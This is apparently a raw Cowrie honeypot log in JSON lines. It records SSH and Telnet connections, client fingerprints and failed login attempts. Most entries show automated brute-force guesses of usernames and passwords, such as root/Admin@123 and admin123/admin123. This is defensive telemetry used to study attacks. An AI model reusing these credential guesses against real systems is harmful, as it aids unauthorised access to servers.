{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:15.721675Z","src_ip":"154.16.115.34","session":"b9cde097f866","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:15.732072Z","src_ip":"162.214.5.224","session":"5240952d71b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:15.747886Z","src_ip":"154.16.115.34","session":"b9cde097f866","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newzealand","password":"Auckland#Bitc0!n$S3cur3","message":"login attempt [newzealand/Auckland#Bitc0!n$S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:15.836031Z","src_ip":"154.16.115.34","session":"b9cde097f866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":33420,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a193936c076","protocol":"ssh","message":"New connection: 160.187.174.22:33420 (159.203.135.109:22) [session: 2a193936c076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:16.717149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:16.721906Z","src_ip":"160.187.174.22","session":"2a193936c076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:16.864194Z","src_ip":"154.16.115.34","session":"b9cde097f866","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:17.099525Z","src_ip":"160.187.174.22","session":"2a193936c076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:17.836118Z","src_ip":"160.187.174.22","session":"2a193936c076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:18.222187Z","src_ip":"91.92.40.153","session":"7cf6d221ca6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:19.087110Z","src_ip":"160.187.174.22","session":"2a193936c076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":45626,"dst_ip":"10.17.0.5","dst_port":22,"session":"83bb10f1ec26","protocol":"ssh","message":"New connection: 91.92.40.153:45626 (10.17.0.5:22) [session: 83bb10f1ec26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:19.312188Z"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:20.088750Z","src_ip":"91.92.40.153","session":"7cf6d221ca6b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:20.092910Z","src_ip":"91.92.40.153","session":"83bb10f1ec26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:20.095799Z","src_ip":"91.92.40.153","session":"83bb10f1ec26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"root","message":"login attempt [myuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:24.151333Z","src_ip":"91.92.40.153","session":"83bb10f1ec26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":44106,"dst_ip":"10.17.0.5","dst_port":22,"session":"79c42d6061d3","protocol":"ssh","message":"New connection: 91.92.40.153:44106 (10.17.0.5:22) [session: 79c42d6061d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:25.250085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:26.079257Z","src_ip":"91.92.40.153","session":"79c42d6061d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:26.082935Z","src_ip":"91.92.40.153","session":"79c42d6061d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:26.098230Z","src_ip":"91.92.40.153","session":"83bb10f1ec26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":43116,"dst_ip":"159.203.135.109","dst_port":23,"session":"776c1bb9c9da","protocol":"telnet","message":"New connection: 107.6.151.170:43116 (159.203.135.109:23) [session: 776c1bb9c9da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:27.251251Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:29.309458Z","src_ip":"91.92.40.153","session":"79c42d6061d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:30.943654Z","src_ip":"91.92.40.153","session":"79c42d6061d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":44596,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2dd5d55eb34","protocol":"ssh","message":"New connection: 91.92.40.153:44596 (10.17.0.5:22) [session: c2dd5d55eb34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:32.992577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:33.057442Z","src_ip":"91.92.40.153","session":"c2dd5d55eb34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:33.137653Z","src_ip":"91.92.40.153","session":"c2dd5d55eb34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:33.453217Z","src_ip":"91.92.40.153","session":"c2dd5d55eb34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:34.592305Z","src_ip":"91.92.40.153","session":"c2dd5d55eb34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.16241979598999,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:37.935838Z","src_ip":"107.150.146.69","session":"a332f2d9f48c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"hetzner123","message":"login attempt [ubuntu/hetzner123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:38.089769Z","src_ip":"139.99.74.35","session":"d1836eaa8601","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":44658,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ca860d18e05","protocol":"ssh","message":"New connection: 91.92.40.153:44658 (10.17.0.5:22) [session: 2ca860d18e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:38.767738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:38.918478Z","src_ip":"91.92.40.153","session":"2ca860d18e05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:38.923116Z","src_ip":"91.92.40.153","session":"2ca860d18e05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:39.775458Z","src_ip":"91.92.40.153","session":"2ca860d18e05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:41.291444Z","src_ip":"91.92.40.153","session":"2ca860d18e05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":54408,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b294b41eebd","protocol":"telnet","message":"New connection: 107.6.151.170:54408 (159.203.135.109:23) [session: 4b294b41eebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:41.315304Z"}
{"eventid":"cowrie.session.closed","duration":0.0049059391021728516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:41.320051Z","src_ip":"107.6.151.170","session":"4b294b41eebd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":37754,"dst_ip":"159.203.135.109","dst_port":22,"session":"11e68e5b9bd5","protocol":"ssh","message":"New connection: 160.187.174.22:37754 (159.203.135.109:22) [session: 11e68e5b9bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:41.648141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:41.652371Z","src_ip":"160.187.174.22","session":"11e68e5b9bd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:41.884331Z","src_ip":"160.187.174.22","session":"11e68e5b9bd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":53260,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb37d22a6564","protocol":"ssh","message":"New connection: 144.91.108.61:53260 (10.17.0.5:22) [session: cb37d22a6564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:42.586363Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:42.592737Z","src_ip":"160.187.174.22","session":"11e68e5b9bd5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:42.595561Z","src_ip":"144.91.108.61","session":"cb37d22a6564","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:42.689997Z","src_ip":"144.91.108.61","session":"cb37d22a6564","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"F1L#Tr0ng!P@ss","message":"login attempt [root/F1L#Tr0ng!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:15:42.969734Z","src_ip":"144.91.108.61","session":"cb37d22a6564","protocol":"ssh"}
